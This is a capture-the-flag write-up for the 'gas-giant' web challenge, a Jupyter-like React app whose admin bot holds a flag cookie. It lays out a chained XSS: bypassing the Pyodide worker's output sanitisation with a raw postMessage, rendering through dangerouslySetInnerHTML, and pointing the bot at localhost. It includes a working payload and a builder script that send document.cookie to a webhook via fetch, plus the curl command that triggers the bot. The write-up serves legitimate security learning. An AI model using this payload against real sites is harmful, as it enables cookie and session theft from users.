gas-giant
gas-giant
Platform: B01Lersc | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-18 | Status: Solved Techniques: xss_via_dangerously_set_inner_html, pyodide_worker_post_message_bypass, cross_origin_bot_via_localhost_redirect, admin_bot_cookie_exfiltration, ipynb_zod_schema_bypass
Summary
Task: a Jupyter-like SPA (b01lerLite) that renders base64-encoded notebooks through a Pyodide worker, with an admin bot holding the flag in a cookie scoped to localhost. Solution: bypass worker output sanitization by calling self.postMessage directly from Python in Pyodide, make the main thread render attacker-controlled text/html through dangerouslySetInnerHTML (trusted defaults to true), and feed the bot a http://localhost:3000/render?d=... URL so the cookie is same-origin; the XSS fetches it to a webhook.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
b01lersc| ID:20260418_b01lersc_gas_giant - Tags: xss, react, web, puppeteer, postmessage, cookie_exfiltration, pyodide, jupyter, dangerously_set_inner_html, web_worker
- Indicators: Jupyter-like site with .ipynb rendered client-side via Pyodide Web Worker, Admin bot (puppeteer) visits submitted URL with a cookie named
flagscoped to localhost, pyodideWorker.mjs monkey-patches displayDataCallback / publishExecutionResult to neutralizedata, React cell renderer usesdangerouslySetInnerHTMLgated only bytrusted ?? true, Server-side URL validator is juststartsWith('http://') || startsWith('https://')— allows http://localhost:3000/... - Source:
20260418_b01lersc_gas_giant.md
Foothold
Vulnerability / Misconfiguration
- Xss_via_dangerously_set_inner_html
- Pyodide_worker_post_message_bypass
- Cross_origin_bot_via_localhost_redirect
- Admin_bot_cookie_exfiltration
- Ipynb_zod_schema_bypass
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- xss_via_dangerously_set_inner_html
- pyodide_worker_post_message_bypass
- cross_origin_bot_via_localhost_redirect
- admin_bot_cookie_exfiltration
- ipynb_zod_schema_bypass
- Tags: xss, react, web, puppeteer, postmessage, cookie_exfiltration, pyodide, jupyter, dangerously_set_inner_html, web_worker
Original Writeup
<details><summary>Click to expand original content</summary>gas-giant — b01lers CTF 2026
Description
b01lerLite — a minimal Jupyter clone. Submit a notebook URL and our admin will open it for you. Don't steal their cookies.
POST /report {"url": "..."}— puppeteer opens the URL with the flag cookie and clicks the first Run button.
Given: full source of a React + Express app. A notebook (.ipynb) is encoded in base64 and rendered at /render?d=<b64>. Python runs client-side in a Pyodide Web Worker. There's a /report endpoint that drives a puppeteer bot; the bot holds the flag in document.cookie with domain=localhost.
Goal: make the bot exfiltrate its own cookie to us.
Analysis
Three layers of defence, all of them subtly broken.
Layer 1 — worker output is sanitized
src/lib/pyodideWorker.mjs monkey-patches the kernel's output callbacks before running user code:
ipykernel.displayDataCallback = (data, metadata, transient) => {
// replace whatever Python produced with a harmless plain-text string
postMessage({ ..., data: { 'text/plain': 'output disabled' } });
};
ipykernel.publishExecutionResult = (prompt, data, metadata) => { /* same */ };
So IPython.display.HTML(...) or display({'text/html': ...}) can never reach the main thread — the worker rewrites data before posting.
But the patch is applied only to the ipykernel-level callbacks. The Worker's own self.postMessage is still reachable, and Pyodide exposes it to Python via the js module:
from js import self as _self # WorkerGlobalScope _self.postMessage(arbitrary_msg) # goes straight to main thread
The main-thread listener in JupyterNotebook.tsx doesn't check the shape or origin of the message — it only filters e.data.id !== currId. If we match currId, our fabricated output object is treated as if the kernel produced it.
currId comes from a getId() counter starting at 1, incremented on every Run. The bot clicks the first Run button, so currId === 1. To be safe we send id 1..5.
Layer 2 — HTML in cell output is gated by trusted
src/lib/JupyterNotebookCodeCell.tsx:
const trusted = props.trusted ?? true;
...
{trusted && mimes['text/html']
? <div dangerouslySetInnerHTML={{ __html: mimes['text/html'] }}/>
: <pre>{mimes['text/plain']}</pre>}
The classic Jupyter "trusted notebook" concept is here but inverted: trusted defaults to true, and src/StyledNotebook.tsx never passes the prop at all. Every cell is trusted. text/html → dangerouslySetInnerHTML → full XSS.
Layer 3 — cookie is scoped to localhost
server/bot.ts:
await page.setCookie({ name: 'flag', value: FLAG, domain: 'localhost', path: '/' });
await page.goto(url, { waitUntil: 'domcontentloaded' });
await page.waitForSelector('button.cursor-pointer.text-right.px-1', { timeout: 20000 });
await page.click(...);
await sleep(5000);
If we feed the bot http://our-evil.com/... — the cookie is not sent and document.cookie is empty. We need same-origin execution.
server/index.ts validates the URL with only:
if (!url.startsWith('http://') && !url.startsWith('https://')) reject;
No host allow-list. Inside the container, port 3000 is the app itself, so http://localhost:3000/render?d=<payload> is:
- accepted by the validator,
- opened by puppeteer as first-party origin for
localhost, - so
document.cookieinside the page containsflag=bctf{...}.
Layer 4 — zod schema forbids pre-filled outputs
src/NotebookPage.tsx validates the decoded notebook with zod; cells[].outputs must satisfy z.array(z.any()).length(0). We can't just stuff HTML into outputs. Fine — we inject the output at runtime via postMessage instead.
Solution
Payload
Python cell (first and only code cell) that talks to the main thread through the Worker's raw postMessage:
from pyodide.ffi import to_js
from js import Object, self as _self
WEBHOOK = 'https://webhook.site/UUID'
html = (
'<img src=x onerror="'
'fetch(\'' + WEBHOOK + '/x?c=\'+encodeURIComponent(document.cookie)'
'+\'&l=\'+encodeURIComponent(location.href))'
'">'
)
# currId starts at 1 on the first Run click; send 1..5 for robustness
for i in range(1, 6):
msg = to_js({
'id': i,
'output_type': 'display_data',
'data': {'text/html': html},
'metadata': {},
'transient': {},
}, dict_converter=Object.fromEntries)
_self.postMessage(msg)
Two details matter:
to_js(..., dict_converter=Object.fromEntries)— without this Pyodide converts dicts to JSMaps, which the listener destructures asundefined.- The outer notebook must keep
outputs: []to pass the zod schema; HTML lives only in the livepostMessage.
Notebook envelope
{
"metadata": {},
"nbformat": 4,
"nbformat_minor": 4,
"cells": [{
"cell_type": "code",
"source": "<python above>",
"metadata": {},
"execution_count": null,
"outputs": []
}]
}
Base64 it and embed in /render?d=<b64>.
Builder
build_payload.py:
#!/usr/bin/env python3
import base64, json, sys
def build(webhook: str) -> str:
python = (
"from pyodide.ffi import to_js\n"
"from js import Object, self as _self\n"
f"WEBHOOK = {webhook!r}\n"
"html = ('<img src=x onerror=\"'\n"
" 'fetch(\\''+WEBHOOK+'/x?c=\\'+encodeURIComponent(document.cookie)'\n"
" '+\\'&l=\\'+encodeURIComponent(location.href))'\n"
" '\">')\n"
"for i in range(1, 6):\n"
" msg = to_js({'id': i,'output_type':'display_data',\n"
" 'data': {'text/html': html},'metadata':{}, 'transient':{}},\n"
" dict_converter=Object.fromEntries)\n"
" _self.postMessage(msg)\n"
)
nb = {"metadata": {}, "nbformat": 4, "nbformat_minor": 4,
"cells": [{"cell_type": "code", "source": python,
"metadata": {}, "execution_count": None, "outputs": []}]}
return json.dumps(nb, separators=(",", ":"))
if __name__ == "__main__":
enc = base64.b64encode(build(sys.argv[1].rstrip("/")).encode()).decode()
print(enc)
Firing the bot
PAYLOAD=$(python3 build_payload.py "https://webhook.site/UUID" | tail -1)
curl -X POST https://instance.b01lersc.tf/report \
-H 'Content-Type: application/json' \
--data "{\"url\":\"http://localhost:3000/render?d=${PAYLOAD}\"}"
Wait ~40–60s — the bot has to pull Pyodide + ipykernel from the CDN before the Run button even renders. Then the webhook receives a hit:
GET /x?c=flag%3Dbctf%7BREDACTED%7D&l=http%3A%2F%2Flocalhost%3A3000%2Frender%3Fd%3D...
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR